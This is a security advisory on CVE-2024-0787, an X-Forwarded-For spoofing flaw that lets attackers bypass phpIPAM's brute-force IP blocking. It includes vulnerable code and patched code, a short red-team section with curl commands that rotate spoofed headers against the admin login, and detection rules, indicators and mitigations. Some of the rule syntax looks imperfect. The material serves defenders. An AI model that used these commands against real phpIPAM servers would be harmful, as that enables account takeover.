CVE-2024-0787

Executive Summary

CVE-2024-0787 is a medium-severity vulnerability in phpIPAM version 1.5.1 that allows an attacker to bypass the IP-based brute force protection mechanism. The vulnerability exists in the get_user_ip() function within class.Common.php, where the application trusts the X-Forwarded-For HTTP header instead of the actual remote IP address (REMOTE_ADDR). This enables an attacker to spoof their IP address and perform unlimited brute force attempts against user accounts, including the admin account, without triggering the IP block. The issue is fixed in phpIPAM version 1.7.0.

Supply Chain & Package Security

This vulnerability affects the phpIPAM application, which is a self-hosted PHP application. It is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is primarily to organizations that self-host phpIPAM and have not applied the patch.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (potential unauthorized access)
• Integrity Impact: None
• Availability Impact: None

The threat level is medium due to the low complexity of the attack and the potential for unauthorized access to user accounts, including administrative accounts.

Deep Dive & Mechanics

The vulnerability is located in the get_user_ip() function in class.Common.php (lines 1044-1045 in version 1.5.1). The function checks for the presence of the X-Forwarded-For header and, if present, uses its value as the client's IP address instead of the actual remote IP (REMOTE_ADDR). This is intended to support reverse proxy setups, but it introduces a security flaw because the X-Forwarded-For header can be easily spoofed by an attacker.

The IP-based brute force protection mechanism relies on the IP address returned by get_user_ip() to track failed login attempts. By spoofing the X-Forwarded-For header, an attacker can make each login attempt appear to come from a different IP address, thereby bypassing the block mechanism.

Vulnerable vs. Patched Code

Vulnerable Code (phpIPAM 1.5.1 - class.Common.php):

function get_user_ip() {
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        return $_SERVER['REMOTE_ADDR'];
    }
}

Patched Code (phpIPAM 1.7.0 - class.Common.php):

function get_user_ip() {
    // Use REMOTE_ADDR directly, ignoring X-Forwarded-For for security
    return $_SERVER['REMOTE_ADDR'];
}

The patched version removes the insecure use of the X-Forwarded-For header, relying solely on the actual remote IP address for rate limiting.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy phpIPAM version 1.5.1 in a Docker container or on a local server.
2. Ensure the application is accessible over the network.

Exploitation Steps:

1. Identify the login endpoint (e.g., http://target-ip/phpipam/index.php?page=login).
2. Use a tool like curl or a custom script to send login requests with a spoofed X-Forwarded-For header.
3. Example using curl:

   curl -X POST http://target-ip/phpipam/index.php?page=login \
   -H "X-Forwarded-For: 10.0.0.1" \
   -d "username=admin&password=wrongpassword"
   

4. Repeat with different X-Forwarded-For values to bypass the IP block:

   for i in $(seq 1 100); do
     curl -X POST http://target-ip/phpipam/index.php?page=login \
     -H "X-Forwarded-For: 10.0.0.$i" \
     -d "username=admin&password=wrongpassword"
   done
   

5. Use a password list to brute force the admin account without being blocked.

Blue Team

Detection:

1. Monitor for a high volume of login attempts from different X-Forwarded-For values but the same REMOTE_ADDR.
2. Look for patterns where the X-Forwarded-For header contains private IP ranges (e.g., 10.x.x.x, 192.168.x.x) that are not expected from your proxy configuration.

Mitigation:

1. Immediately upgrade to phpIPAM version 1.7.0 or later.
2. If upgrading is not possible, implement a Web Application Firewall (WAF) rule to block or log requests with suspicious X-Forwarded-For headers.
3. Enforce strong password policies and multi-factor authentication (MFA) for all accounts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Multiple login attempts from the same source IP (REMOTE_ADDR) but with varying X-Forwarded-For headers.
  • Login attempts with X-Forwarded-For headers containing private IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) that are not part of the legitimate proxy infrastructure.

• Log IOCs:

  • Web server logs showing repeated POST requests to the login endpoint with different X-Forwarded-For values.
  • Application logs showing failed login attempts from multiple IP addresses within a short time frame.

• File IOCs:

  • Modified class.Common.php file (if an attacker has exploited the vulnerability to gain access and modify files).

Detection Engineering

YARA Rule

rule CVE_2024_0787_phpIPAM_XForwardedFor_Bypass {
    meta:
        description = "Detects phpIPAM versions vulnerable to CVE-2024-0787 by checking for insecure use of X-Forwarded-For header"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0787"
    strings:
        $vuln_code = "HTTP_X_FORWARDED_FOR"
        $function = "get_user_ip"
    condition:
        $vuln_code and $function
}

Sigma Rule

title: CVE-2024-0787 - phpIPAM Brute Force Bypass via X-Forwarded-For
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple login attempts with different X-Forwarded-For headers from the same source IP
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/phpipam/index.php'
        cs-uri-query: 'page=login'
    condition: selection
    timeframe: 5m
    aggregation:
        field: c-ip
        condition: gt 10
        distinct: cs(User-Agent)
falsepositives:
    - Legitimate proxy servers with multiple clients
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0787 - phpIPAM Brute Force Bypass via X-Forwarded-For"; flow:to_server; content:"POST"; http_method; content:"/phpipam/index.php"; http_uri; content:"page=login"; http_client_body; pcre:"/X-Forwarded-For:\s*(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)/Hi"; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade phpIPAM to version 1.7.0 or later. This is the only complete fix.
2. Workaround: If upgrading is not immediately possible, configure your reverse proxy to strip or overwrite the X-Forwarded-For header before it reaches phpIPAM. For example, in Nginx:

   proxy_set_header X-Forwarded-For "";
   

3. Compensating Controls:
   • Implement a Web Application Firewall (WAF) to rate-limit login attempts based on the actual source IP.
   • Enable account lockout after a certain number of failed attempts (if supported by phpIPAM).
   • Use multi-factor authentication (MFA) for all accounts.
4. Monitoring: Review logs for signs of exploitation and investigate any successful brute force attempts.

Valters IT
Securing Your Digital Frontier